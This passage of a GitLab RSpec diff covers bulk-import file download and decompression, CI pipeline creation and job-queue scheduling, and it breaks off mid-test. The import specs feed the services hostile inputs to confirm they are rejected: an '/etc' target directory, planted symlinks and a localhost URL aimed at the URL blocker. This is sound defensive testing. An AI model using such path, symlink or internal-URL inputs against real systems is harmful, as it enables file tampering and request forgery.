+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe AuthorizedProjectUpdate::RecalculateForUserRangeService do
- describe '#execute' do
- let_it_be(:users) { create_list(:user, 2) }
-
- it 'calls Users::RefreshAuthorizedProjectsService' do
- user_ids = users.map(&:id)
-
- User.where(id: user_ids).select(:id).each do |user|
- expect(Users::RefreshAuthorizedProjectsService).to(
- receive(:new).with(user, source: described_class.name).and_call_original)
- end
-
- range = user_ids.minmax
- described_class.new(*range).execute
- end
- end
-end
diff --git a/spec/services/bulk_imports/file_decompression_service_spec.rb b/spec/services/bulk_imports/file_decompression_service_spec.rb
new file mode 100644
index 00000000000..4e8f78c8243
--- /dev/null
+++ b/spec/services/bulk_imports/file_decompression_service_spec.rb
@@ -0,0 +1,99 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::FileDecompressionService do
+ let_it_be(:tmpdir) { Dir.mktmpdir }
+ let_it_be(:ndjson_filename) { 'labels.ndjson' }
+ let_it_be(:ndjson_filepath) { File.join(tmpdir, ndjson_filename) }
+ let_it_be(:gz_filename) { "#{ndjson_filename}.gz" }
+ let_it_be(:gz_filepath) { "spec/fixtures/bulk_imports/gz/#{gz_filename}" }
+
+ before do
+ FileUtils.copy_file(gz_filepath, File.join(tmpdir, gz_filename))
+ FileUtils.remove_entry(ndjson_filepath) if File.exist?(ndjson_filepath)
+ end
+
+ after(:all) do
+ FileUtils.remove_entry(tmpdir)
+ end
+
+ subject { described_class.new(dir: tmpdir, filename: gz_filename) }
+
+ describe '#execute' do
+ it 'decompresses specified file' do
+ subject.execute
+
+ expect(File.exist?(File.join(tmpdir, ndjson_filename))).to eq(true)
+ expect(File.open(ndjson_filepath, &:readline)).to include('title', 'description')
+ end
+
+ context 'when validate_import_decompressed_archive_size feature flag is enabled' do
+ before do
+ stub_feature_flags(validate_import_decompressed_archive_size: true)
+ end
+
+ it 'performs decompressed file size validation' do
+ expect_next_instance_of(Gitlab::ImportExport::DecompressedArchiveSizeValidator) do |validator|
+ expect(validator).to receive(:valid?).and_return(true)
+ end
+
+ subject.execute
+ end
+ end
+
+ context 'when validate_import_decompressed_archive_size feature flag is disabled' do
+ before do
+ stub_feature_flags(validate_import_decompressed_archive_size: false)
+ end
+
+ it 'does not perform decompressed file size validation' do
+ expect(Gitlab::ImportExport::DecompressedArchiveSizeValidator).not_to receive(:new)
+
+ subject.execute
+ end
+ end
+
+ context 'when dir is not in tmpdir' do
+ subject { described_class.new(dir: '/etc', filename: 'filename') }
+
+ it 'raises an error' do
+ expect { subject.execute }.to raise_error(described_class::ServiceError, 'Invalid target directory')
+ end
+ end
+
+ context 'when compressed file is a symlink' do
+ let_it_be(:symlink) { File.join(tmpdir, 'symlink.gz') }
+
+ before do
+ FileUtils.ln_s(File.join(tmpdir, gz_filename), symlink)
+ end
+
+ subject { described_class.new(dir: tmpdir, filename: 'symlink.gz') }
+
+ it 'raises an error and removes the file' do
+ expect { subject.execute }.to raise_error(described_class::ServiceError, 'Invalid file')
+
+ expect(File.exist?(symlink)).to eq(false)
+ end
+ end
+
+ context 'when decompressed file is a symlink' do
+ let_it_be(:symlink) { File.join(tmpdir, 'symlink') }
+
+ before do
+ FileUtils.ln_s(File.join(tmpdir, ndjson_filename), symlink)
+
+ subject.instance_variable_set(:@decompressed_filepath, symlink)
+ end
+
+ subject { described_class.new(dir: tmpdir, filename: gz_filename) }
+
+ it 'raises an error and removes the file' do
+ expect { subject.execute }.to raise_error(described_class::ServiceError, 'Invalid file')
+
+ expect(File.exist?(symlink)).to eq(false)
+ end
+ end
+ end
+end
diff --git a/spec/services/bulk_imports/file_download_service_spec.rb b/spec/services/bulk_imports/file_download_service_spec.rb
new file mode 100644
index 00000000000..0961ddce553
--- /dev/null
+++ b/spec/services/bulk_imports/file_download_service_spec.rb
@@ -0,0 +1,133 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::FileDownloadService do
+ describe '#execute' do
+ let_it_be(:config) { build(:bulk_import_configuration) }
+ let_it_be(:content_type) { 'application/octet-stream' }
+ let_it_be(:filename) { 'file_download_service_spec' }
+ let_it_be(:tmpdir) { Dir.tmpdir }
+ let_it_be(:filepath) { File.join(tmpdir, filename) }
+
+ let(:chunk_double) { double('chunk', size: 1000, code: 200) }
+ let(:response_double) do
+ double(
+ code: 200,
+ success?: true,
+ parsed_response: {},
+ headers: {
+ 'content-length' => 100,
+ 'content-type' => content_type
+ }
+ )
+ end
+
+ subject { described_class.new(configuration: config, relative_url: '/test', dir: tmpdir, filename: filename) }
+
+ before do
+ allow_next_instance_of(BulkImports::Clients::HTTP) do |client|
+ allow(client).to receive(:head).and_return(response_double)
+ allow(client).to receive(:stream).and_yield(chunk_double)
+ end
+ end
+
+ shared_examples 'downloads file' do
+ it 'downloads file' do
+ subject.execute
+
+ expect(File.exist?(filepath)).to eq(true)
+ expect(File.read(filepath)).to include('chunk')
+ end
+ end
+
+ include_examples 'downloads file'
+
+ context 'when content-type is application/gzip' do
+ let_it_be(:content_type) { 'application/gzip' }
+
+ include_examples 'downloads file'
+ end
+
+ context 'when url is not valid' do
+ it 'raises an error' do
+ stub_application_setting(allow_local_requests_from_web_hooks_and_services: false)
+
+ double = instance_double(BulkImports::Configuration, url: 'https://localhost', access_token: 'token')
+ service = described_class.new(configuration: double, relative_url: '/test', dir: tmpdir, filename: filename)
+
+ expect { service.execute }.to raise_error(Gitlab::UrlBlocker::BlockedUrlError)
+ end
+ end
+
+ context 'when content-type is not valid' do
+ let(:content_type) { 'invalid' }
+
+ it 'raises an error' do
+ expect { subject.execute }.to raise_error(described_class::ServiceError, 'Invalid content type')
+ end
+ end
+
+ context 'when content-length is not valid' do
+ context 'when content-length exceeds limit' do
+ before do
+ stub_const("#{described_class}::FILE_SIZE_LIMIT", 1)
+ end
+
+ it 'raises an error' do
+ expect { subject.execute }.to raise_error(described_class::ServiceError, 'Invalid content length')
+ end
+ end
+
+ context 'when content-length is missing' do
+ let(:response_double) { double(success?: true, headers: { 'content-type' => content_type }) }
+
+ it 'raises an error' do
+ expect { subject.execute }.to raise_error(described_class::ServiceError, 'Invalid content length')
+ end
+ end
+ end
+
+ context 'when partially downloaded file exceeds limit' do
+ before do
+ stub_const("#{described_class}::FILE_SIZE_LIMIT", 150)
+ end
+
+ it 'raises an error' do
+ expect { subject.execute }.to raise_error(described_class::ServiceError, 'Invalid downloaded file')
+ end
+ end
+
+ context 'when chunk code is not 200' do
+ let(:chunk_double) { double('chunk', size: 1000, code: 307) }
+
+ it 'raises an error' do
+ expect { subject.execute }.to raise_error(described_class::ServiceError, 'File download error 307')
+ end
+ end
+
+ context 'when file is a symlink' do
+ let_it_be(:symlink) { File.join(tmpdir, 'symlink') }
+
+ before do
+ FileUtils.ln_s(File.join(tmpdir, filename), symlink)
+ end
+
+ subject { described_class.new(configuration: config, relative_url: '/test', dir: tmpdir, filename: 'symlink') }
+
+ it 'raises an error and removes the file' do
+ expect { subject.execute }.to raise_error(described_class::ServiceError, 'Invalid downloaded file')
+
+ expect(File.exist?(symlink)).to eq(false)
+ end
+ end
+
+ context 'when dir is not in tmpdir' do
+ subject { described_class.new(configuration: config, relative_url: '/test', dir: '/etc', filename: filename) }
+
+ it 'raises an error' do
+ expect { subject.execute }.to raise_error(described_class::ServiceError, 'Invalid target directory')
+ end
+ end
+ end
+end
diff --git a/spec/services/bulk_imports/relation_export_service_spec.rb b/spec/services/bulk_imports/relation_export_service_spec.rb
index bf286998df2..333cd9201d8 100644
--- a/spec/services/bulk_imports/relation_export_service_spec.rb
+++ b/spec/services/bulk_imports/relation_export_service_spec.rb
@@ -62,7 +62,7 @@ RSpec.describe BulkImports::RelationExportService do
let(:upload) { create(:bulk_import_export_upload, export: export) }
it 'removes existing export before exporting' do
- upload.update!(export_file: fixture_file_upload('spec/fixtures/bulk_imports/labels.ndjson.gz'))
+ upload.update!(export_file: fixture_file_upload('spec/fixtures/bulk_imports/gz/labels.ndjson.gz'))
expect_any_instance_of(BulkImports::ExportUpload) do |upload|
expect(upload).to receive(:remove_export_file!)
diff --git a/spec/services/bulk_update_integration_service_spec.rb b/spec/services/bulk_update_integration_service_spec.rb
index cd50a2a5708..a866e0852bc 100644
--- a/spec/services/bulk_update_integration_service_spec.rb
+++ b/spec/services/bulk_update_integration_service_spec.rb
@@ -17,14 +17,14 @@ RSpec.describe BulkUpdateIntegrationService do
let_it_be(:group) { create(:group) }
let_it_be(:subgroup) { create(:group, parent: group) }
let_it_be(:group_integration) do
- JiraService.create!(
+ Integrations::Jira.create!(
group: group,
url: 'http://group.jira.com'
)
end
let_it_be(:subgroup_integration) do
- JiraService.create!(
+ Integrations::Jira.create!(
inherit_from_id: group_integration.id,
group: subgroup,
url: 'http://subgroup.jira.com',
@@ -33,7 +33,7 @@ RSpec.describe BulkUpdateIntegrationService do
end
let_it_be(:excluded_integration) do
- JiraService.create!(
+ Integrations::Jira.create!(
group: create(:group),
url: 'http://another.jira.com',
push_events: false
@@ -41,7 +41,7 @@ RSpec.describe BulkUpdateIntegrationService do
end
let_it_be(:integration) do
- JiraService.create!(
+ Integrations::Jira.create!(
project: create(:project, group: subgroup),
inherit_from_id: subgroup_integration.id,
url: 'http://project.jira.com',
diff --git a/spec/services/ci/append_build_trace_service_spec.rb b/spec/services/ci/append_build_trace_service_spec.rb
index a0a7f594881..8812680b665 100644
--- a/spec/services/ci/append_build_trace_service_spec.rb
+++ b/spec/services/ci/append_build_trace_service_spec.rb
@@ -44,7 +44,7 @@ RSpec.describe Ci::AppendBuildTraceService do
expect(::Gitlab::ErrorTracking)
.to receive(:log_exception)
- .with(anything, hash_including(chunk_index: 0, chunk_store: 'redis'))
+ .with(anything, hash_including(chunk_index: 0, chunk_store: 'redis_trace_chunks'))
result = described_class
.new(build, content_range: '0-128')
diff --git a/spec/services/ci/create_downstream_pipeline_service_spec.rb b/spec/services/ci/create_downstream_pipeline_service_spec.rb
index 8bab7856375..18bd59a17f0 100644
--- a/spec/services/ci/create_downstream_pipeline_service_spec.rb
+++ b/spec/services/ci/create_downstream_pipeline_service_spec.rb
@@ -136,7 +136,7 @@ RSpec.describe Ci::CreateDownstreamPipelineService, '#execute' do
bridge_id: bridge.id, project_id: bridge.project.id)
.and_call_original
expect(Ci::CreatePipelineService).not_to receive(:new)
- expect(service.execute(bridge)).to be_nil
+ expect(service.execute(bridge)).to eq({ message: "Already has a downstream pipeline", status: :error })
end
end
@@ -393,6 +393,51 @@ RSpec.describe Ci::CreateDownstreamPipelineService, '#execute' do
end
end
end
+
+ context 'when multi-project pipeline runs from child pipelines bridge job' do
+ before do
+ stub_ci_pipeline_yaml_file(YAML.dump(rspec: { script: 'rspec' }))
+ end
+
+ # instantiate new service, to clear memoized values from child pipeline run
+ subject(:execute_with_trigger_project_bridge) do
+ described_class.new(upstream_project, user).execute(trigger_project_bridge)
+ end
+
+ let!(:child_pipeline) do
+ service.execute(bridge)
+ bridge.downstream_pipeline
+ end
+
+ let!(:trigger_downstream_project) do
+ {
+ trigger: {
+ project: downstream_project.full_path,
+ branch: 'feature'
+ }
+ }
+ end
+
+ let!(:trigger_project_bridge) do
+ create(
+ :ci_bridge, status: :pending,
+ user: user,
+ options: trigger_downstream_project,
+ pipeline: child_pipeline
+ )
+ end
+
+ it 'creates a new pipeline' do
+ expect { execute_with_trigger_project_bridge }
+ .to change { Ci::Pipeline.count }.by(1)
+
+ new_pipeline = trigger_project_bridge.downstream_pipeline
+
+ expect(new_pipeline.child?).to eq(false)
+ expect(new_pipeline.triggered_by_pipeline).to eq child_pipeline
+ expect(trigger_project_bridge.reload).not_to be_failed
+ end
+ end
end
end
diff --git a/spec/services/ci/create_pipeline_service/creation_errors_and_warnings_spec.rb b/spec/services/ci/create_pipeline_service/creation_errors_and_warnings_spec.rb
index 9ccf289df7c..7193e5bd7d4 100644
--- a/spec/services/ci/create_pipeline_service/creation_errors_and_warnings_spec.rb
+++ b/spec/services/ci/create_pipeline_service/creation_errors_and_warnings_spec.rb
@@ -14,7 +14,6 @@ RSpec.describe Ci::CreatePipelineService do
before do
stub_ci_pipeline_yaml_file(config)
- stub_feature_flags(ci_raise_job_rules_without_workflow_rules_warning: true)
end
context 'when created successfully' do
@@ -35,18 +34,6 @@ RSpec.describe Ci::CreatePipelineService do
/jobs:test may allow multiple pipelines to run/
)
end
-
- context 'when feature flag is disabled for the particular warning' do
- before do
- stub_feature_flags(ci_raise_job_rules_without_workflow_rules_warning: false)
- end
-
- it 'does not contain warnings' do
- expect(pipeline.error_messages.map(&:content)).to be_empty
-
- expect(pipeline.warning_messages.map(&:content)).to be_empty
- end
- end
end
context 'when no warnings are raised' do
diff --git a/spec/services/ci/create_pipeline_service/cross_project_pipeline_spec.rb b/spec/services/ci/create_pipeline_service/cross_project_pipeline_spec.rb
index b3b8e34dd8e..7fd32288893 100644
--- a/spec/services/ci/create_pipeline_service/cross_project_pipeline_spec.rb
+++ b/spec/services/ci/create_pipeline_service/cross_project_pipeline_spec.rb
@@ -53,6 +53,8 @@ RSpec.describe Ci::CreatePipelineService, '#execute' do
end
context 'when sidekiq processes the job', :sidekiq_inline do
+ let_it_be(:runner) { create(:ci_runner, :online) }
+
it 'transitions to pending status and triggers a downstream pipeline' do
pipeline = create_pipeline!
diff --git a/spec/services/ci/create_pipeline_service/needs_spec.rb b/spec/services/ci/create_pipeline_service/needs_spec.rb
index 4521067cd52..3b4a6178b8f 100644
--- a/spec/services/ci/create_pipeline_service/needs_spec.rb
+++ b/spec/services/ci/create_pipeline_service/needs_spec.rb
@@ -211,7 +211,7 @@ RSpec.describe Ci::CreatePipelineService do
deploy_a = processables.find { |processable| processable.name == 'deploy_a' }
deploy_b = processables.find { |processable| processable.name == 'deploy_b' }
- expect(pipeline).to be_persisted
+ expect(pipeline).to be_created_successfully
expect(build_a.status).to eq('pending')
expect(test_a.status).to eq('created')
expect(test_b.status).to eq('pending')
diff --git a/spec/services/ci/create_pipeline_service_spec.rb b/spec/services/ci/create_pipeline_service_spec.rb
index 9fdce1ae926..052727401dd 100644
--- a/spec/services/ci/create_pipeline_service_spec.rb
+++ b/spec/services/ci/create_pipeline_service_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Ci::CreatePipelineService do
let_it_be(:project, reload: true) { create(:project, :repository) }
let_it_be(:user, reload: true) { project.owner }
+ let_it_be(:runner) { create(:ci_runner, :online, tag_list: %w[postgres mysql ruby]) }
let(:ref_name) { 'refs/heads/master' }
@@ -532,7 +533,7 @@ RSpec.describe Ci::CreatePipelineService do
it 'pull it from Auto-DevOps' do
pipeline = execute_service
expect(pipeline).to be_auto_devops_source
- expect(pipeline.builds.map(&:name)).to match_array(%w[brakeman-sast build code_quality eslint-sast secret_detection_default_branch semgrep-sast test])
+ expect(pipeline.builds.map(&:name)).to match_array(%w[brakeman-sast build code_quality eslint-sast secret_detection semgrep-sast test])
end
end
diff --git a/spec/services/ci/job_artifacts/create_service_spec.rb b/spec/services/ci/job_artifacts/create_service_spec.rb
index 97c65dc005e..e6d9f208096 100644
--- a/spec/services/ci/job_artifacts/create_service_spec.rb
+++ b/spec/services/ci/job_artifacts/create_service_spec.rb
@@ -203,53 +203,6 @@ RSpec.describe Ci::JobArtifacts::CreateService do
end
end
- context 'when artifact type is cluster_applications' do
- let(:artifacts_file) do
- file_to_upload('spec/fixtures/helm/helm_list_v2_prometheus_missing.json.gz', sha256: artifacts_sha256)
- end
-
- let(:params) do
- {
- 'artifact_type' => 'cluster_applications',
- 'artifact_format' => 'gzip'
- }.with_indifferent_access
- end
-
- it 'calls cluster applications parse service' do
- expect_next_instance_of(Clusters::ParseClusterApplicationsArtifactService) do |service|
- expect(service).to receive(:execute).once.and_call_original
- end
-
- subject
- end
-
- context 'when there is a deployment cluster' do
- let(:user) { project.owner }
-
- before do
- job.update!(user: user)
- end
-
- it 'calls cluster applications parse service with job and job user', :aggregate_failures do
- expect(Clusters::ParseClusterApplicationsArtifactService).to receive(:new).with(job, user).and_call_original
-
- subject
- end
- end
-
- context 'when ci_synchronous_artifact_parsing feature flag is disabled' do
- before do
- stub_feature_flags(ci_synchronous_artifact_parsing: false)
- end
-
- it 'does not call parse service' do
- expect(Clusters::ParseClusterApplicationsArtifactService).not_to receive(:new)
-
- expect(subject[:status]).to eq(:success)
- end
- end
- end
-
shared_examples 'rescues object storage error' do |klass, message, expected_message|
it "handles #{klass}" do
allow_next_instance_of(JobArtifactUploader) do |uploader|
diff --git a/spec/services/ci/pipeline_creation/start_pipeline_service_spec.rb b/spec/services/ci/pipeline_creation/start_pipeline_service_spec.rb
new file mode 100644
index 00000000000..2aa810e8ea1
--- /dev/null
+++ b/spec/services/ci/pipeline_creation/start_pipeline_service_spec.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::PipelineCreation::StartPipelineService do
+ let(:pipeline) { build(:ci_pipeline) }
+
+ subject(:service) { described_class.new(pipeline) }
+
+ describe '#execute' do
+ it 'calls the pipeline process service' do
+ expect(Ci::ProcessPipelineService)
+ .to receive(:new)
+ .with(pipeline)
+ .and_return(double('service', execute: true))
+
+ service.execute
+ end
+ end
+end
diff --git a/spec/services/ci/pipeline_processing/shared_processing_service.rb b/spec/services/ci/pipeline_processing/shared_processing_service.rb
index 13c924a3089..34d9b60217f 100644
--- a/spec/services/ci/pipeline_processing/shared_processing_service.rb
+++ b/spec/services/ci/pipeline_processing/shared_processing_service.rb
@@ -859,6 +859,8 @@ RSpec.shared_examples 'Pipeline Processing Service' do
end
context 'when a bridge job has parallel:matrix config', :sidekiq_inline do
+ let_it_be(:runner) { create(:ci_runner, :online) }
+
let(:parent_config) do
<<-EOY
test:
diff --git a/spec/services/ci/pipeline_processing/shared_processing_service_tests_with_yaml.rb b/spec/services/ci/pipeline_processing/shared_processing_service_tests_with_yaml.rb
index 572808cd2db..9c8e6fd3292 100644
--- a/spec/services/ci/pipeline_processing/shared_processing_service_tests_with_yaml.rb
+++ b/spec/services/ci/pipeline_processing/shared_processing_service_tests_with_yaml.rb
@@ -3,6 +3,7 @@
RSpec.shared_context 'Pipeline Processing Service Tests With Yaml' do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { project.owner }
+ let_it_be(:runner) { create(:ci_runner, :online) }
where(:test_file_path) do
Dir.glob(Rails.root.join('spec/services/ci/pipeline_processing/test_cases/*.yml'))
diff --git a/spec/services/ci/register_job_service_spec.rb b/spec/services/ci/register_job_service_spec.rb
index 839a3c53f07..c4b1e2133ed 100644
--- a/spec/services/ci/register_job_service_spec.rb
+++ b/spec/services/ci/register_job_service_spec.rb
@@ -11,9 +11,37 @@ module Ci
let!(:shared_runner) { create(:ci_runner, :instance) }
let!(:specific_runner) { create(:ci_runner, :project, projects: [project]) }
let!(:group_runner) { create(:ci_runner, :group, groups: [group]) }
- let!(:pending_job) { create(:ci_build, pipeline: pipeline) }
+ let!(:pending_job) { create(:ci_build, :pending, :queued, pipeline: pipeline) }
describe '#execute' do
+ context 'checks database loadbalancing stickiness' do
+ subject { described_class.new(shared_runner).execute }
+
+ before do
+ project.update!(shared_runners_enabled: false)
+ end
+
+ it 'result is valid if replica did caught-up' do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?)
+ .and_return(true)
+
+ expect(Gitlab::Database::LoadBalancing::Sticking).to receive(:all_caught_up?)
+ .with(:runner, shared_runner.id) { true }
+
+ expect(subject).to be_valid
+ end
+
+ it 'result is invalid if replica did not caught-up' do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?)
+ .and_return(true)
+
+ expect(Gitlab::Database::LoadBalancing::Sticking).to receive(:all_caught_up?)
+ .with(:runner, shared_runner.id) { false }
+
+ expect(subject).not_to be_valid
+ end
+ end
+
shared_examples 'handles runner assignment' do
context 'runner follow tag list' do
it "picks build with the same tag" do
@@ -76,11 +104,11 @@ module Ci
let!(:project3) { create :project, shared_runners_enabled: true }
let!(:pipeline3) { create :ci_pipeline, project: project3 }
let!(:build1_project1) { pending_job }
- let!(:build2_project1) { FactoryBot.create :ci_build, pipeline: pipeline }
- let!(:build3_project1) { FactoryBot.create :ci_build, pipeline: pipeline }
- let!(:build1_project2) { FactoryBot.create :ci_build, pipeline: pipeline2 }
- let!(:build2_project2) { FactoryBot.create :ci_build, pipeline: pipeline2 }
- let!(:build1_project3) { FactoryBot.create :ci_build, pipeline: pipeline3 }
+ let!(:build2_project1) { create(:ci_build, :pending, :queued, pipeline: pipeline) }
+ let!(:build3_project1) { create(:ci_build, :pending, :queued, pipeline: pipeline) }
+ let!(:build1_project2) { create(:ci_build, :pending, :queued, pipeline: pipeline2) }
+ let!(:build2_project2) { create(:ci_build, :pending, :queued, pipeline: pipeline2) }
+ let!(:build1_project3) { create(:ci_build, :pending, :queued, pipeline: pipeline3) }
context 'when using fair scheduling' do
context 'when all builds are pending' do
@@ -227,17 +255,17 @@ module Ci
let!(:pipeline3) { create(:ci_pipeline, project: project3) }
let!(:build1_project1) { pending_job }
- let!(:build2_project1) { create(:ci_build, pipeline: pipeline) }
- let!(:build3_project1) { create(:ci_build, pipeline: pipeline) }
- let!(:build1_project2) { create(:ci_build, pipeline: pipeline2) }
- let!(:build2_project2) { create(:ci_build, pipeline: pipeline2) }
- let!(:build1_project3) { create(:ci_build, pipeline: pipeline3) }
+ let!(:build2_project1) { create(:ci_build, :queued, pipeline: pipeline) }
+ let!(:build3_project1) { create(:ci_build, :queued, pipeline: pipeline) }
+ let!(:build1_project2) { create(:ci_build, :queued, pipeline: pipeline2) }
+ let!(:build2_project2) { create(:ci_build, :queued, pipeline: pipeline2) }
+ let!(:build1_project3) { create(:ci_build, :queued, pipeline: pipeline3) }
# these shouldn't influence the scheduling
let!(:unrelated_group) { create(:group) }
let!(:unrelated_project) { create(:project, group_runners_enabled: true, group: unrelated_group) }
let!(:unrelated_pipeline) { create(:ci_pipeline, project: unrelated_project) }
- let!(:build1_unrelated_project) { create(:ci_build, pipeline: unrelated_pipeline) }
+ let!(:build1_unrelated_project) { create(:ci_build, :pending, :queued, pipeline: unrelated_pipeline) }
let!(:unrelated_group_runner) { create(:ci_runner, :group, groups: [unrelated_group]) }
it 'does not consider builds from other group runners' do
@@ -318,7 +346,7 @@ module Ci
subject { described_class.new(specific_runner).execute }
context 'with multiple builds are in queue' do
- let!(:other_build) { create :ci_build, pipeline: pipeline }
+ let!(:other_build) { create(:ci_build, :pending, :queued, pipeline: pipeline) }
before do
allow_any_instance_of(Ci::RegisterJobService).to receive(:builds_for_project_runner)
@@ -359,7 +387,7 @@ module Ci
let!(:specific_runner) { create(:ci_runner, :project, projects: [project]) }
context 'when a job is protected' do
- let!(:pending_job) { create(:ci_build, :protected, pipeline: pipeline) }
+ let!(:pending_job) { create(:ci_build, :pending, :queued, :protected, pipeline: pipeline) }
it 'picks the job' do
expect(execute(specific_runner)).to eq(pending_job)
@@ -367,7 +395,7 @@ module Ci
end
context 'when a job is unprotected' do
- let!(:pending_job) { create(:ci_build, pipeline: pipeline) }
+ let!(:pending_job) { create(:ci_build, :pending, :queued, pipeline: pipeline) }
it 'picks the job' do
expect(execute(specific_runner)).to eq(pending_job)
@@ -375,7 +403,7 @@ module Ci
end
context 'when protected attribute of a job is nil' do
- let!(:pending_job) { create(:ci_build, pipeline: pipeline) }
+ let!(:pending_job) { create(:ci_build, :pending, :queued, pipeline: pipeline) }
before do
pending_job.update_attribute(:protected, nil)
@@ -391,7 +419,7 @@ module Ci
let!(:specific_runner) { create(:ci_runner, :project, :ref_protected, projects: [project]) }
context 'when a job is protected' do
- let!(:pending_job) { create(:ci_build, :protected, pipeline: pipeline) }
+ let!(:pending_job) { create(:ci_build, :pending, :queued, :protected, pipeline: pipeline) }
it 'picks the job' do
expect(execute(specific_runner)).to eq(pending_job)
@@ -399,7 +427,7 @@ module Ci
end
context 'when a job is unprotected' do
- let!(:pending_job) { create(:ci_build, pipeline: pipeline) }
+ let!(:pending_job) { create(:ci_build, :pending, :queued, pipeline: pipeline) }
it 'does not pick the job' do
expect(execute(specific_runner)).to be_nil
@@ -407,7 +435,7 @@ module Ci
end
context 'when protected attribute of a job is nil' do
- let!(:pending_job) { create(:ci_build, pipeline: pipeline) }
+ let!(:pending_job) { create(:ci_build, :pending, :queued, pipeline: pipeline) }
before do
pending_job.update_attribute(:protected, nil)
@@ -421,7 +449,7 @@ module Ci
context 'runner feature set is verified' do
let(:options) { { artifacts: { reports: { junit: "junit.xml" } } } }
- let!(:pending_job) { create(:ci_build, :pending, pipeline: pipeline, options: options) }
+ let!(:pending_job) { create(:ci_build, :pending, :queued, pipeline: pipeline, options: options) }
subject { execute(specific_runner, params) }
@@ -457,7 +485,7 @@ module Ci
shared_examples 'validation is active' do
context 'when depended job has not been completed yet' do
- let!(:pre_stage_job) { create(:ci_build, :manual, pipeline: pipeline, name: 'test', stage_idx: 0) }
+ let!(:pre_stage_job) { create(:ci_build, :pending, :queued, :manual, pipeline: pipeline, name: 'test', stage_idx: 0) }
it { expect(subject).to eq(pending_job) }
end
@@ -494,7 +522,7 @@ module Ci
shared_examples 'validation is not active' do
context 'when depended job has not been completed yet' do
- let!(:pre_stage_job) { create(:ci_build, :manual, pipeline: pipeline, name: 'test', stage_idx: 0) }
+ let!(:pre_stage_job) { create(:ci_build, :pending, :queued, :manual, pipeline: pipeline, name: 'test', stage_idx: 0) }
it { expect(subject).to eq(pending_job) }
end
@@ -519,7 +547,7 @@ module Ci
let!(:pre_stage_job) { create(:ci_build, :success, pipeline: pipeline, name: 'test', stage_idx: 0) }
let!(:pending_job) do
- create(:ci_build, :pending,
+ create(:ci_build, :pending, :queued,
pipeline: pipeline, stage_idx: 1,
options: { script: ["bash"], dependencies: ['test'] })
end
@@ -530,7 +558,7 @@ module Ci
end
context 'when build is degenerated' do
- let!(:pending_job) { create(:ci_build, :pending, :degenerated, pipeline: pipeline) }
+ let!(:pending_job) { create(:ci_build, :pending, :queued, :degenerated, pipeline: pipeline) }
subject { execute(specific_runner, {}) }
@@ -545,7 +573,7 @@ module Ci
context 'when build has data integrity problem' do
let!(:pending_job) do
- create(:ci_build, :pending, pipeline: pipeline)
+ create(:ci_build, :pending, :queued, pipeline: pipeline)
end
before do
@@ -570,7 +598,7 @@ module Ci
context 'when build fails to be run!' do
let!(:pending_job) do
- create(:ci_build, :pending, pipeline: pipeline)
+ create(:ci_build, :pending, :queued, pipeline: pipeline)
end
before do
@@ -612,12 +640,12 @@ module Ci
context 'when only some builds can be matched by runner' do
let!(:specific_runner) { create(:ci_runner, :project, projects: [project], tag_list: %w[matching]) }
- let!(:pending_job) { create(:ci_build, pipeline: pipeline, tag_list: %w[matching]) }
+ let!(:pending_job) { create(:ci_build, :pending, :queued, pipeline: pipeline, tag_list: %w[matching]) }
before do
# create additional matching and non-matching jobs
- create_list(:ci_build, 2, pipeline: pipeline, tag_list: %w[matching])
- create(:ci_build, pipeline: pipeline, tag_list: %w[non-matching])
+ create_list(:ci_build, 2, :pending, :queued, pipeline: pipeline, tag_list: %w[matching])
+ create(:ci_build, :pending, :queued, pipeline: pipeline, tag_list: %w[non-matching])
end
it 'observes queue size of only matching jobs' do
@@ -665,7 +693,7 @@ module Ci
end
context 'when there is another build in queue' do
- let!(:next_pending_job) { create(:ci_build, pipeline: pipeline) }
+ let!(:next_pending_job) { create(:ci_build, :pending, :queued, pipeline: pipeline) }
it 'skips this build and picks another build' do
expect(Gitlab::Ci::Queue::Metrics.queue_operations_total).to receive(:increment)
@@ -683,11 +711,7 @@ module Ci
end
end
- context 'when ci_register_job_service_one_by_one is enabled' do
- before do
- stub_feature_flags(ci_register_job_service_one_by_one: true)
- end
-
+ context 'when a long queue is created' do
it 'picks builds one-by-one' do
expect(Ci::Build).to receive(:find).with(pending_job.id).and_call_original
@@ -697,9 +721,17 @@ module Ci
include_examples 'handles runner assignment'
end
- context 'when ci_register_job_service_one_by_one is disabled' do
+ context 'when joining with pending builds table' do
+ before do
+ stub_feature_flags(ci_pending_builds_queue_join: true)
+ end
+
+ include_examples 'handles runner assignment'
+ end
+
+ context 'when not joining with pending builds table' do
before do
- stub_feature_flags(ci_register_job_service_one_by_one: false)
+ stub_feature_flags(ci_pending_builds_queue_join: false)
end
include_examples 'handles runner assignment'
@@ -747,8 +779,8 @@ module Ci
end
context 'when project already has running jobs' do
- let!(:build2) { create( :ci_build, :running, pipeline: pipeline, runner: shared_runner) }
- let!(:build3) { create( :ci_build, :running, pipeline: pipeline, runner: shared_runner) }
+ let!(:build2) { create(:ci_build, :running, pipeline: pipeline, runner: shared_runner) }
+ let!(:build3) { create(:ci_build, :running, pipeline: pipeline, runner: shared_runner) }
it 'counts job queuing time histogram with expected labels' do
allow(attempt_counter).to receive(:increment)
@@ -831,42 +863,21 @@ module Ci
end
context 'when max queue depth is reached' do
- let!(:pending_job) { create(:ci_build, :pending, :degenerated, pipeline: pipeline) }
- let!(:pending_job_2) { create(:ci_build, :pending, :degenerated, pipeline: pipeline) }
- let!(:pending_job_3) { create(:ci_build, :pending, pipeline: pipeline) }
+ let!(:pending_job) { create(:ci_build, :pending, :queued, :degenerated, pipeline: pipeline) }
+ let!(:pending_job_2) { create(:ci_build, :pending, :queued, :degenerated, pipeline: pipeline) }
+ let!(:pending_job_3) { create(:ci_build, :pending, :queued, pipeline: pipeline) }
before do
stub_const("#{described_class}::MAX_QUEUE_DEPTH", 2)
end
- context 'when feature is enabled' do
- before do
- stub_feature_flags(gitlab_ci_builds_queue_limit: true)
- end
+ it 'returns 409 conflict' do
+ expect(Ci::Build.pending.unstarted.count).to eq 3
- it 'returns 409 conflict' do
